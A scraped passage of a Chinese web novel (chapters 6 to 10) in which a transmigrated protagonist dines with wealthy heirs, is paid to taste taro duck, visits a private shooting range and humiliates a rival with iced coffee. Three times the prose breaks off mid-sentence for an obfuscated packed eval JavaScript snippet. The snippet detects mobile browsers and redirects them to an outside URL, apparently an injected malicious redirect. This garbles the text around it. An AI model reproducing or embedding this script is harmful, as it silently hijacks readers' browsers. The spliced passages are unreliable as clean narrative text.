陈则眠失笑:“怎么还吃不进去了?香酥鸭做得不好吃吗?” “是芋泥鸭,”萧可颂叹了一口气:“陈折,你不上去吃饭,是不是因为我把你当司机,你不高兴了。” 陈则眠说:“怎么会呢?我真不饿,而且和叶少、陆少都不熟,坐那儿怪尴尬的,还不如在车里玩会儿小游戏。” 萧可颂欲言又止,抓住陈折胳膊,借着车里的灯光看他表情:“你真不生我气?” 陈则眠安抚着大少爷突如其来的负罪感,哄道:“真的,萧少是我的贵人,还对我这么好,我怎么可能生你的气呢?” 萧可颂说:“我以后会对你更好的,你是我小弟嘛。” 陈则眠忍俊不禁:“谢谢萧少。” 萧可颂拽着陈折晃了晃:“小弟就要听大哥的,走吧,跟我上去吃饭吧,叶宸和灼年都没意见的,多聚几次就熟了。” 这时候再拒绝就太矫情了。 陈则眠拿萧可颂没办法,只好说:“行,我先找个地方停车。” “不用,灼年的保镖在。” 萧可颂降下车窗招招手,后面的黑色商务车上下来一个穿西装的男人,上车接替了陈则眠的位置,先是送两人到金麟饭店,然后又把车开走了。 陈则眠和萧可颂并肩走进大堂。 前台经理见萧可颂亲自接了个人回来,猜想这人身份不一般,立刻笑着迎上,问:“萧少,这是谁家小少爷,长得也太俊了。” 萧可颂说:“这是我朋友,姓陈。” 前台经理做了个请的手势,引着陈则眠往前走:“陈少瞧着眼生,第一次来我们金麟饭店吧,我给您介绍一下这里的特色菜……” 听到这话,萧可颂内心的负罪感不仅未能消除,反而更觉得自己从前怠慢了陈折。 陈折送他来过那么多次,却是头一回进来。 萧可颂思索片刻,拿起手机按了几下。 下一秒,陈则眠手机连续响起一串电子播报—— 支付宝到账50000元。 支付宝到账50000元。 支付宝到账50000元。 7.第 7 章 今天出来,陈则眠本来想找个机会,把萧可颂上次给他的两万还了。 结果那两万没换成,还倒收了十五万。 他想把钱转回去,萧可颂不肯要,一会儿说‘你要是不收就是不想原谅我’,一会儿又说‘你转过来也没用,我已经把支付宝卸载了’。 叶宸说:“你就拿着吧,他都这个智商了,钱不给你也得别人骗走。” 陈则眠看向叶宸,疑惑重复:“骗走?” 陆灼年颔首:“他很好骗。” 叶宸表示赞同,并建议道:“等他老了,你可以卖给他保健品。” 陆灼年言简意赅:“现在卖就行。” 叶宸笑起来:“也对,他上个月还让卖茶叶骗走八万八呢,我都告诉他那是骗子了,他非说人家小女孩可怜。” 萧可颂很不满地‘哎’了一声:“人家小妹妹很努力的,每天都发微信给我看茶园。” 陈则眠看向萧可颂,诚恳道:“我也超努力的。” 萧可颂认真地看着陈则眠,说:“可惜你不是小妹妹,你要是个姑娘……” 陈则眠挑眉:“怎么呢?” 叶宸冷漠且精准地给出形容:“能把他骗成汤姆猫。” 陆灼年保持沉默,未置可否。 从他的视角来看,萧可颂早就被骗成汤姆猫了。 陈折深藏不露,用一副漂亮无害的表象骗过萧可颂,哄得萧大少亲手把一个身手惊人的危险分子带进了核心社交圈。 陆灼年和叶宸、萧可颂一起用餐的场合不少,但私交和应酬区分向来明显,要么是只有他们三个,要么就是一大桌子人。 这么多年以来,从来没有他们三个单独和某一个外人吃饭的时候。 直到今天。 陈折八面玲珑,显然也考虑到了这一层,所以在保镖请他的时候找理由婉拒了。 萧可颂行为欠妥,叫陈折来当司机,有轻视怠慢之嫌,作为同行用餐人,陆灼年出邀请陈折不过是出于社交礼仪,表达了一种尊重的态度,陈折知情知趣,接收到了友好信号,面子上过得去,也不会真来凑热闹。 这样的邀请与拒绝,是彼此间心照不宣的客套。 谁也没想到的是,萧可颂竟然亲自下楼找陈折,硬是把人给带了上来。 这不是汤姆猫是什么。 饭桌上,汤姆猫的话题已经过去了。 萧可颂正在给陈则眠推荐芋泥鸭。 陈则眠坚决不肯吃这种又甜又咸的东西。 萧可颂强烈推荐:“你尝一口就知道,绝对好吃。” 陈则眠摇头:“不了,你吃吧。” 萧可颂坚信自己钟爱的美食能征服所有人,用公筷夹了一块芋泥鸭,直接就往陈则眠碗里放。 “你好好吃饭,”陈则眠捂着碗拒绝:“自己吃自己的。” 萧可颂把筷子递到陈则眠嘴边:“你就尝一口嘛,我保证好吃,不好吃你吐我脸上。” 叶宸蹙眉:“你别恶心。” 陈则眠无奈道:“我真不吃,萧少,你自己吃吧……萧可颂!别往我嘴上怼啊。” 见过劝酒的,还没见过劝鸭的。 陈则眠仰头往后躲,整个后背都贴在了椅背上,嘴唇上沾了层油,抹了胭脂似的又润又亮,蹙眉躲着嘴边的东西,有种莫名的色气。 很容易让人产生不正当的联想。 陆灼年喉结轻动,缓缓移开视线,拆开湿巾按了按嘴角,擦去那层并不存在的油润。 听到拆湿巾的声音,叶宸侧头看了陆灼年一眼。 陆灼年若无其事,面色坦然。 不知为何,叶宸却莫名其妙地想起上次在赛车俱乐部,陆灼年不可多见的情绪波动来。 陈则眠大多时候从善如流,唯在吃睡两件事上很有自己的坚持,若是萧可颂建议他尝试别的新鲜东西,他不会这么固执。 他不能接受芋泥出现在甜品以外的任何地方。 “再不好好吃饭我揍你了,”陈则眠按住萧可颂胳膊,轻轻抬了抬眉梢:“说了不吃就是不吃。” 萧可颂和叶宸当这句‘揍你’是句玩笑话,只有陆灼年知道陈则眠是真的能打,一只手打两个萧可颂不费劲。 他只是没打。 脾气也挺好的。 直接把筷子怼在人嘴边的行为那么欠揍,陈则眠也只是皱着眉往后躲。 萧可颂这个人就是有些没轻没重,小时候和陆灼年、叶宸一起玩也是这样,只是陆、叶二人总是能不动声色地划出分寸,日久天长也是把萧可颂训练出来了,才维持住这一份难得的友情。 不过到底亲疏有别,陆灼年和萧可颂多年朋友,和陈则眠没什么交情,所以自然是没有作声,不会告诉他萧可颂的正确使用手册就是负强化。 关于芋泥鸭的拉锯还没有结束。 叶宸看得也稀奇。 两个犟种也是犟上了。 “你起来是那种很好说话的人,”叶宸侧头看向陈折:“内里居然这么固执。” 陈则眠像一只拒绝吃药的猫,单手抵着萧可颂胳膊,身体向后躲到极致:“我是很好说话,但对吃东西有自己的立场,我纯北方人,吃这种又甜又咸的东西,会死。” 叶宸忍不住笑,说:“行了可颂,别闹了。” 萧可颂还想做最后的挣扎:“陈折,你就尝一口,算我求你。” 陈则眠:“不要。” 叶宸说:“你就放弃吧,人家立场坚定,不会吃的。” 陆灼年深以为然:“他比你犟。” 萧可颂叹了一口气,都准备收手了,在放弃的前一秒,忽然间灵光一闪,该威逼为利诱:“尝一口十万。” 陈则眠瞳孔猛地扩张,震惊地看向萧可颂。 萧可颂一手仍然举着筷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876409|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,另一只手去拿手机:“现场清结。” 僵持的局面开始发生某种不为人知的变化。 陆灼年和叶宸都侧头看去,见证了历史性的一幕。 陈则眠低下头,叼着芋泥鸭边缘,十分矜贵地咬了一小口。 熟悉的电子女音在包间内响起。 【支付宝到账 50000元。】 陈则眠皱着眉把那口芋泥鸭咽下去,看得出来他是真不爱吃又甜又咸的东西,这一口明显是强咽的,做出吞咽动作的刹那,眼尾都有点微微发红。 陆灼年目光落在桌面的茶壶上,眸色深沉,不知在想些什么。 叶宸都看不下去了,主动替陈折讨账:“还有五万呢。” 萧可颂说:“支付宝限额了,陈折我加你微信。” 陈则眠猛喝一口茶水,盖下嘴里黏腻腻的甜香,拆开湿巾一边擦嘴,一边摆了摆手:“不用了。” 二十万够了。 他回家就可以开始找人做游戏,初始资金就以这样一种莫名其妙的方式筹集齐了,算萧可颂一份原始股吧。 萧可颂还拿着手机:“那也加个微信嘛,我都没有你好友,每次找你都可费劲了……你是不是不想加我?” 陈则眠只好打开好友码:“哪儿能啊萧少,我早就想加你了,这不是不好意思开口吗。” 萧可颂很好哄,这么表面的奉承也信了,扫码加上陈则眠好友,把剩下的五万转过去:“不用不好意思,以后缺钱跟我说。” 陈则眠说:“我不缺钱萧少。” 萧可颂很不赞同地看着陈则眠:“不缺钱还为了十万块钱吃自己不想吃的东西?你这样在外面是会被欺负的。” 叶宸看了眼被咬去个小尖尖的芋泥鸭:“只有你在欺负他。” 萧可颂不是很有底气地说:“我给他钱了。” “难道还很光荣吗?”叶宸对萧可颂一贯的无语,转头看向陈则眠:“这人没有脑子,你快别跟他混了。” 萧可颂和叶宸从小一起长大,听个开头就知道对方下面要说什么,马上反对道:“叶宸,不许撬我小弟。” 叶宸懒得理他:“陈折愿意给你做小弟吗?我怎么记得之前好像听谁说,他想跟着灼年做事?” 萧可颂斜睨叶宸,炸毛道:“就是我说的好吗!” 叶宸看陈则眠顺眼,难得好心搭了个线:“灼年,你怎么说?” 陆灼年慢条斯理地放下筷子,像是没关注他们话题:“说什么?” 萧可颂是个合格的大哥,不忘托举小弟的梦想:“说陈折其实是想给你当小弟。” “是吗?”陆灼年目光微动,缓缓落在陈折身上:“以前怎么没听你提过?” 陈则眠已经掌握了和少爷们相处之道,两眼一闭就是哄:“以前没有这个荣幸单独和您说呢,陆少。” 陆灼年说:“现在你有了。” 8.第 8 章 穿书至今这么多天,陈则眠已经和好几个豪门大少打过交道,也渐渐总结出来了几条规律。 少爷们从小金尊玉贵,习惯被人捧着顺着,行事言语间自我意识感过剩,无论说什么做什么都带着几分‘本该如此’的天经地义,尤其是吩咐人时,这种骄矜倨傲之感尤盛。 但其他少爷们的种种矜傲言行,在陆灼年面前都略显逊色,可以说是相形见绌,不值一提。 陈则眠那句‘之前没有这个荣幸’很明显是恭维,正常人谁会回一个‘你现在有了’。 可陆灼年就是讲得那么理所应当。 简直和皇帝让大臣平身一样自然而然。 虽然陆灼年未来注定会建立起庞大稳固、坚不可摧的商业帝国,在全球资本界叱咤风云、翻云覆雨,但现在他毕竟还只是个大二学生,这种帝王般屈驾垂顾的恩赐感是怎么回事啊。 此时此刻此情此景,陈则眠无话可说,甚至觉得自己应该接一句‘谢主隆恩’才合适。 他震惊地看着陆灼年,心说在都市背景做男主真是委屈您了陛下,你应该去修仙世界当帝君。 人怎么可以爽成这样。 萧可颂和叶宸倒是面无异色,所以陈则眠一时也摸不准,他们究竟是对陆灼年忽如其来的睥睨之姿习以为常,还是知道陆灼年只是随口戏言,讲着玩的。 但无论哪种情况,能让素来拒人于千里外的陆灼年,表现出愿意收个小跟班都很不容易。 萧可颂见陈则眠怔在原地,赶紧怼了下他胳膊,示意陈则眠抓住机会。 话赶话说到这儿,陈则眠要是不说些什么,也显得太不识抬举。于是,他端起茶杯,以茶代酒,起身恭敬道:“多谢陆少抬爱。” 陆灼年不轻不重地‘嗯’了一声,并没有其他表示。 陈则眠只好继续问:“不知道我能否这个荣幸为陆少效劳?” 闻言,陆灼年抬起长眸,定定地看了陈则眠好一会儿,看到他端着茶杯的手都有点僵了,才吐出四个字: “看你表现。”陆灼年说。 行就行,不行就不行,看你表现是什么意思? 听到这个回答,不止陈则眠露出迷茫,连萧可颂和叶宸亦是满头雾水。 就在气氛逐渐尴尬之时,陆灼年却忽然举起茶杯,对着陈则眠的茶杯轻轻一碰。 伴随茶杯相撞的轻响,陆灼年鼓励似的说了一句:“好好表现。” 萧可颂和叶宸对视一眼,从对方表情中看到了不可思议。 陆灼年在外人面前向来沉稳可靠,今天也不知怎么,竟三番两次戏弄起陈折来。 陈则眠反应过来,眯起眼睛看向陆灼年,果然在捕捉到了对方眼中的一丝戏谑。 果然实在捉弄人。 从陆灼年用做腰穿威胁他那天起,陈则眠就发现对方不是什么好人,对这位腹黑心狠的男主角失去了光辉伟岸的期待。 说到底还是那晚他的表现太过可疑,引起了陆灼年的注意。 想在这份特殊的关注名单上除名,他就不能压不住脾气和陆灼年互怼,反而得思考陈折会怎么做。 只要模拟出和陈折相似的模样,自然能慢慢打消陆灼年的疑心。 毕竟那晚有喝醉酒和脑袋受伤两个挡箭牌在,昙花一现的异常总能遮掩过去,等伪装过这一段时间,往后再慢慢恢复自己本身的脾性,就不会这么突兀了。 陈则眠打定主意,在心里默念三遍‘莫欺少年穷’,然后仰脸给了陆灼年一个狗腿的微笑。 看到这种千篇一律的笑脸,陆灼年眼中的戏谑果然淡了几分。 陈则眠心中暗喜,继续谄媚道:“陆少往后有什么需要尽管吩咐,我一定好好表现,车前马后,万死不辞。” 陆灼年没说话。 陈则眠双手举起茶杯,笑着说:“陆少,我敬您。” 陆灼年俊朗的眉梢轻轻拧起,注视陈则眠。 陈则眠诧异地‘嗯’了一声,装傻道:“怎么了,陆少?” 陆灼年意兴阑珊,语气淡淡:“没事。” 他放下茶杯,杯底和桌面轻叩,发出一声不轻不重的响声,昭显其心情不佳。 萧可颂看不懂陆灼年怎么突然又不高兴了,悄悄在桌子底下戳了戳叶宸,暗示对方给他点提示。 叶宸按住自动旋转的桌面逆时针一推,盛着芋泥鸭的盘子恰好停在萧可颂面前。 萧可颂:“?????” 叶宸勉为其难吐出三个字:“芋泥鸭。” 萧可颂不懂:“芋泥鸭咋了?” 叶宸直接把盘子端下来,把芋泥鸭往萧可颂碗里一倒:“吃你的。” 少管闲事。 萧可颂:“……” 陆灼年不悦得很明显。 他吃东西素来挑剔得很,金麟饭店的菜肴本就不合他口味,现在更没心情吃,后面几乎都没怎么动筷。 陈则眠恰恰相反,倒是吃得挺香。 因为无法正面对抗陆灼年,陈则眠只能采取精神胜利法—— 陆灼年不高兴了,他就高兴了。 陆灼年要是因为他不高兴,那他加倍高兴。 事实证明,人的食欲和心情呈正相关,而且金麟饭店的菜真的很好吃。 陈则眠又吃多了,撑得有点胃痛。 天色渐晚,萧可颂没有再要陈折送,自己开车走了, 陈则眠明明都看到了陆灼年的车,还装模作样地问:“陆少,我送您吧。” 陆灼年面色渐冷:“不用。” 陈则眠故作遗憾道:“好吧陆少,您路上小心。” 为了表现自己的狗腿,他本想替陆灼年开车门,但保镖已经把车门开好了。 定制版防弹迈巴赫打着双闪,在路灯下折出奢华的光。 陆灼年站在黑色豪车旁边,气势非但不减半分,反而更显身高腿长,高贵逼人。 陈则眠见他不走,识时务地上前两步:“陆少还有什么吩咐。” 陆灼年近距离看着陈则眠,停顿了大约两秒,才纡尊降贵般开了口:“我吩咐你都会照做吗?” 陈则眠不知道这人又在整什么幺蛾子,果断应道:“当然,陆少您有什么吩咐尽管说。” 陆灼年目光微垂,落在陈则眠浅金色发顶:“把头发染回黑色。” 陈则眠呆了呆,不明所以:“我头发咋了?” 陆灼年的回答出人意料:“金灿灿的,晃眼。” 陈则眠难得由衷认可陆灼年的想法,赞同道:“我也觉得。” 这个颜色确实有点张扬。 他也想染个别的颜色,前两天还专门去理发店问过,但托尼老师说他头发.漂过,染回深色效果不好,推荐他染成灰雾棕或薄藤粉,陈则眠心说那不更浮夸吗,就暂时没动。 “一直劝我改色估计是想让我办卡,”陈则眠已经看穿了托尼老师的诡计,把额前碎发拢到脑后,俯身对着车窗照了照:“哪天去推成光头得了。” 陆灼年看向玻璃上的倒影,无法想象一个光头折在自己身边晃来晃去的样子,立刻否决:“不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886739|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈则眠透过镜面和陆灼年对视,用眼神表达了疑惑:为啥? 陆灼年沉默几秒,给出答案:“更晃眼。” 这话没错,而且天气也一天比一天冷了,光头很冻脑袋。 陈则眠虚心纳谏:“好吧,听你的。” ‘听你的’这三个字听着格外顺耳。 终于从陈折嘴里听到句合心意的人话,陆灼年心情好转,看那头闪闪发光的金发都舒服了很多。 他满意地一颔首,长腿往车上一迈,立刻有保镖上前关上车门。 迈巴赫引擎轰鸣一声,潇洒离去。 * 取得了萧大少赞助的初始资金,陈则眠开发游戏的工作也提上了日程。 按照计划,他随便在名牌大学找几个计算机系的学生,把基础程序搭建往外一包,定下了三个月的工期。 这个世界无论网游还是手游的发展都慢于他原先的世界,许多后来风靡一时的爆款游戏现在还没有问世,陈则眠这款游戏的设计框架是抽卡类,融合了跌宕的剧情和新颖的对战方法,做好了很有前景。 抽卡类游戏的本质是氪金,对玩家而言是,对游戏公司而言亦是,想做抽卡类游戏,首先美工就不能差,人物细节设计必须精美漂亮,和那些画个脑袋四肢凑合的战斗特训类游戏发展路径全然不同。 战斗特训类游戏市场表现力极佳,尤其曾经爆火一时的那款多人射击游戏,枪械设计仿真感很强,脚步声类别也考究,玩着还挺刺激的。 陈则眠听力比普通人好一些,玩那个游戏像开了开挂,不用看到人也能凭借脚步声听声辨位,盲射准到不可思议,令人发指到队友都举报他的地步。 如果不是高三那年他爸不许他休学,陈则眠就去打职业了,等到大学毕业22岁,一般职业选手这时候都已经开始准备退役,而且游戏热度也降了下去。 这个世界的陈折刚刚成年,倒是打职业的好年纪,可惜这个世界还没有那款游戏。 陈则眠有些手痒,想把那款游戏做出来玩。 搭一个游戏框架不难,只是一些枪械武器的具体参数有点难搞。 “这有什么难的,”萧可颂说:“灼年特别爱玩枪,在京市开了个国际射击场,国外的私人庄园里还有枪械博物馆,我去过,跟武器库似的。” 陈则眠第一次有点听不懂中文的意思。 在京市有国际射击场,在国外有个枪械博物馆。 真是好小众的语言。 他知道陆灼年有钱,但没想到居然有钱到这个地步。 萧可颂说:“陆家要什么没有,别说是枪械参数,就是铀弹配比他都能给你弄来,想要数据你问他就行,你要是不好意思,我提前给你打个招呼?” 陈则眠第一反应是不想和陆灼年扯上什么关系,但转念一想,利用有这么个机会去接近陆大少,反而更像陈折会做出来的事。 没准他再多巴结几次,陆灼年就觉得烦了,不会总盯着他,觉得他哪里都不对劲儿。 于是陈则眠斟酌着措辞,拜托萧可颂代为转达。 也不知道萧可颂是怎么传话的。 陈则眠当时的原话是: 【这么厉害,那要是哪天你们去射击场玩,方便的话叫上我行吗,我也挺喜欢玩枪的。】 萧可颂跟陆灼年说的是: 【陈折说你很厉害,想跟你一起玩枪。】 “你想怎么玩?” 射击馆内,陆灼年脱下风衣递给工作人员,侧头问陈则眠:“玩什么?” 9.第 9 章 陈则眠迈进射击馆,看着展柜上摆放的各种枪械,不自觉屏住了呼吸。 展示柜里摆得枪种很多,除了民用枪械外,还有很多军用步枪。 巴.雷.特 M82、A.W.P狙击步枪、PMM现代化狙击步枪、芬兰T3狙击步枪、CZ P09手枪、CZ 75手枪、DT11猎枪、格.洛.克17手枪、伯.莱.塔92手枪、P226手枪、7.62mm的狙击步枪、HK416自动步枪、MP5冲锋枪、乌兹冲锋枪、AUG突击步枪,还有95、92等国产枪械。 大部分只作展示使用,重型狙击步枪和其他几款步枪、冲锋枪都是不提供给顾客使用的。 展示灯明亮柔和的光线照射在枪身,折射出难以言表的冰冷美感。 太帅了。 只是射击馆里用于展示说明的展柜就这么酷炫,真不敢想陆灼年那个枪械博物馆的冲击力会有多强。 陈则眠看得眼花缭乱,简直犯了选择困难症,恨不能直接趴到展柜上去看。 “哪把都可以吗?”陈则眠侧头看向陆灼年,眼睛亮得直冒星星:“我之前去射击馆,都是只能玩民用枪,军用步枪要特殊许可的。” 陆灼年不想回答这么无聊的问题,看了眼工作人员。 工作人员立刻回答:“都是有许可的陈先生,您想用哪把都可以,这样,我先打开展柜,您慢慢挑。” 陈则眠简直要窒息了:“还能打开展柜?” “当然了陈先生,枪里没有上子弹,是可以手持参观的。” 枪支弹药库实行双人双锁制度,展厅也是一样,两位工作人员分别拿出钥匙打开展柜。 其中一个工作人员擅长察言观色,先取出陈则眠看得次数最多的那把枪。 陈则眠接过T3狙击步枪上,飞快地看了眼陆灼年表示感谢,注意力更多还是在步枪上。 陆灼年眼神落在抛光完美的枪管上:“Tikka T3轻巧坚实,易于携带,精度也是出了名的优越,你很会选枪。” 陈则眠说:“我最喜欢的是他的设计师特别注重用户体验,提供了多种口径选择,可以根据任务选择配置,操作也足够流畅。” 陆灼年爱枪,有些人投其所好,会装作对枪械感兴趣的模样和他搭话。 对于这种专业性极强却又不常见的东西,基本上交谈两句,就能判断出对方的水平。 陈折是个行家。 从他一直看Tikka T3的时候,陆灼年就觉得他是真懂,一开口更是对枪械优点如数家珍。 不像有些人不懂装懂,上来就只知道看最有名的那几把,张口就是什么巴.雷.特、A.W.P、PMM、UZI、98K、沙.漠.之.鹰、左轮。 连伯.莱.塔92F是什么都不知道。 陆灼年语气温和了一些:“陈折。” 陈则眠和自己的新名字还不太熟,没意识到陆灼年再叫他,仍沉迷在武器的世界里,爱不释手地摸着Tikka T3。 陆灼年有些好笑。 还是第一次有人面对面忽视他,连叫名字都没反应。 陆灼年顿了顿,再次开口:“陈折。” 陈则眠这次反应过来了,立刻抬起头,眼睛亮晶晶的:“怎么了陆少,您有什么吩咐?” 陆灼年没什么吩咐,他就是想问陈则眠想先玩哪把枪:“步枪和手枪的体验区是分开的,你先玩什么?” 陈则眠想了想,到底还是没有抛弃朋友:“手.枪吧,萧少他们都在2号射击馆,我先去那儿找他们。” 毕竟他是靠萧可颂搭桥牵线,才有机会进来,虽然射击场也对外营业,但他自己来的话,肯定不能这么近距离观看抚摸这些展枪。 陈则眠把手里的T3放回展架,恋恋不舍地摸了摸高级胡桃木制造的枪托,叹息道:“真漂亮啊。” 陆灼年大发慈悲:“一会儿再带你过来。” 陈则眠有点理解为什么都想做陆灼年的跟班了。 陆灼年拥有的东西太多了,而且还很大方。 只是从指缝里漏出一点好处,就足够众人趋之若鹜。 两个人一起离开展厅,陈则眠先去找萧可颂,陆灼年不知道干什么去了。 陈则眠到的时候,萧可颂正戴着隔音耳机和护目镜射击,其他几个少爷有的也在打靶,有的坐在休息区喝水聊天。 他们是一同到的射击场,所有人都看见陈折和陆灼年单独走了,这会儿见他独自回来,便有人问:“陈折,陆少呢?” 陈则眠摇摇头:“不知道,一会儿过来吧。” 刘越博嗤笑一声,瞥了陈折一眼:“好手段,不枉你从前苦心钻营,总算得了陆少青眼,有没有什么经验分享一下啊,跟我们说说你是怎么讨得陆少欢心,凭那张漂亮脸蛋吗。” 陈则眠神色不变:“刘少说笑了。” 刘越博家世优渥,打心眼里看不起底层出身的普通人,对陈折这般趋炎附势狗腿小人更是加倍鄙夷。 他叉着腿坐在沙发上,嘲讽道:“陈折,你还真是另辟蹊径,我怎么就没想到通过射击这个爱好攀附上陆少呢。” “当然是因为刘少品行高洁,不愿纡尊降贵,”陈则眠弯了弯眼睛,笑容无害:“总不会是刘少太蠢,想不到吧。” 众人闻言都忍不住笑了起来。 那笑声对而言刘越博格外刺耳,刺得他脸色铁青,骂了句脏话:“论做狗你是专家,我当然没法和你比,同时在陆少和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894271|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧少之间左右逢源,摇尾乞怜,真了不起。” 这话说得十分过火,已经上升到了人格侮辱,陈则眠听着很不舒服,再想起原书中剧情,脸一下就沉了下来。 见状,何逸南扶了扶金丝眼镜,开口调停道:“越博,说话注意点。” 刘越博还想再说什么,何逸南拉了他一把,又给薛铎使了个眼神。 “陈折,去帮我们买点咖啡吧,”薛铎把运动手环扔给陈则眠:“我请客。” 这样跑腿的杂活,陈折是做惯了的,薛铎这时候支他去买东西,也借机把他和刘越博分开,免得激化矛盾。 可陈则眠并没有做惯跑腿的事,也不知道薛铎突然扔过来个东西是什么意思,自然没有伸手去接。 薛铎话说出口的同时,手环已经擦着陈则眠的肩膀飞出去,吧嗒一声落在地上。 手环掉在地上的瞬间,现场静了一秒。 薛铎还没说什么,刘越博却‘呼’的站起来,指着陈则眠鼻子,骂了句非常难听的话。 陈则眠没搭理他,转身捡起薛铎的手环,去买了两打冰美式。 端着八杯咖啡回来时,场面已经恢复热络,大家聊天的聊天,玩手机的玩手机,没有谁刻意看陈则眠。 只有刘越博斜眼瞟了他一眼,发出极其嚣张发出一声轻哼。 薛铎天生心软,性格也挺好的,见陈折一个人端了八杯咖啡,特意起身来接,想要帮他一起端。 陈则眠说:“不用,我来。” 薛铎见陈则眠面色无异,还玩笑似的说了一句:“怎么都买的冰美式,你要苦死我们啊。” “那不能,”陈则眠笑了笑,哄小孩似的说:“一会儿再给你买别的,冰美式快。” 薛铎还没反应过来‘冰美式快’是什么意思,就见陈则眠穿过人群,率先朝刘越博走去。 陈则眠语调如常:“麻烦让一让,我先给刘少端咖啡。” 众人见状都当陈折这是在向刘越博服软,怕陈折尴尬,也怕刘越博在说出什么难听的话,纷纷起身让开,留出位置让陈折走过去。 陈则眠端着冰美式,在刘越博面前站定。 刘越博像没看到人一样,低头摆弄手机玩。 “刘少,”陈则叫了他一声,抬起手臂:“喝咖啡了。” 刘越博满脸得意的掀起眼皮,还没来得及说什么,得意的表情就被冻在原地。 陈则眠举起两打咖啡一转手,八杯冰美式倾盆而下,连带着杯盖、冰块、吸管、塑料杯,劈头盖脸,全砸在刘越博脸上。 众人:“!!!” 在一片倒吸冷气的讶然中,薛铎震惊里又带着一丝恍然。 难怪说冰美式快。 原来出餐快。 10.第 10 章 刘越博毫无准备,只觉一阵湿凉,霎时又冷又苦的冰美式兜头浇了满脸。 深黑的咖啡顺着头发往下流,上身衣服都被打湿了,裤子也水哒哒窝了好些水,又狼狈又好笑。 极度震惊下,刘越博整个人僵在原地,竟不知该说些什么、做些什么。 他家世虽不如陆灼年,但在京市也是有名有姓、有头有脸的刘家小少爷,几时遭过这样的罪?! 刘越博瞪着陈折:“你……” 陈则眠最后一甩手,将两个褐色纸质杯托叮了咣啷地摔在刘越博脑袋上,把后面的话全给砸了回去。 疼是不疼的,但很懵。 不止刘博越懵,所有人都很懵,连最基本的礼仪都忘了,直勾勾地瞪大眼睛看着眼前的荒诞场景。 这视线虽无恶意,但对此刻的刘越博来说,却比满头咖啡更难接受。 所有人都在看他笑话! 当众被地位低于自己的人挑衅,那滋味简直和挨了巴掌没什么两样。 刘越博皮肤泛起阵阵刺麻,血气快速上涌,脖颈青筋暴起,胸膛剧烈起伏,双颊涨红,又青又紫,混着不断低落的咖啡,脸色比调色盘还要精彩。 他一甩手猛地站起身,手指几乎戳在陈则眠脸上:“你他妈是不是疯了?找打是吗?!” “刘少,用手指人是很不礼貌的行为,而且……”陈则眠偏了偏头,用平静的语气说出能把刘越博气死的话,仿佛只是在陈述一个事实:“你打不过我的。” 刘越博被激得几乎跳起来,一巴掌朝陈则眠扇过去:“我他妈打不死你!” 冲突等级倏然升级,人群爆发出一阵低呼。 何逸南和薛铎同时抬步上前,想把两个人拉开,只是他们离得很远,刘越博出手又快,那一巴掌带着怒气,瞬息就要落在陈折脸上,眼看是躲不开的。 陈则眠也没躲。 他抬起胳膊,稳稳抓住刘越博手腕,也不知怎么轻轻一推,就把人高马大的刘越博推回了沙发上。 刘越博还没反应过来怎么回事,整个人已经摔回了一滩咖啡里。 怎么回事?发生了什么? 他没扇到陈折?陈折还把他推摔了?这怎么可能? 在做梦吧。 所有人都有种极其不真实的感觉。 他们眼看着刘越博不信邪似的一挣,还要站起来再试,陈折轻飘飘地伸出手指,抵在刘越博肩膀。 刘越博一下子就被按了回去,肩膀像是被钉在靠背上,竟然怎么扭都挣不开。 这一幕实在太过诡异。 就那么一根手指,修长、纤细、白皙,皮肤又薄又透,在阳光下仿佛能看到青色血管的一根食指,竟然把一米八几的刘越博牢牢控在原地。 虽然上半身动不了,但无碍于刘越博想要揍死陈折的决心。 他往后一仰,抬脚就往陈折肚子上踹。 两个人面对面,距离很近,这一脚带着怒气,力道十足,要是踹实了,内脏都可能因重击损伤甚至破裂。 若说方才扇巴掌是为了出气,那这一脚就是冲着伤人去的。 何逸南眼疾手快,一把拉住陈折的胳膊,想要把人拉开。 可他伸手一拽,居然没拽到! 人呢? 何逸南霍然抬头,眼镜后面的瞳孔剧烈收缩,划过一丝不可思议。 只见陈折处变不惊,抬脚往下一踏,压着刘越博的膝盖,硬是把那石破天惊的一脚给踩了回去。 陈则眠微微倾身,中食二指在刘越博胸骨上窝一按,刘越博感到一种无法形容的窒息与憋闷,瞬间脱力,连说话的力气都没了,更别说挣扎打人了。 刘越博屁股还没离开沙发,就又跌坐了回去,捂着胸口不住喘息,瞪大双眼,震惊地看着陈则眠。 二人一站一坐,陈则眠鞋底还踩在刘越博大腿上。 陈则眠居高临下,低垂眼眸,虽然没太多表情,但那样子就是说不出的嚣张。 盛气凌人,锋芒毕露。 “说了你打不过我,”陈则眠慢条斯理,语气温和:“还要再试吗?” 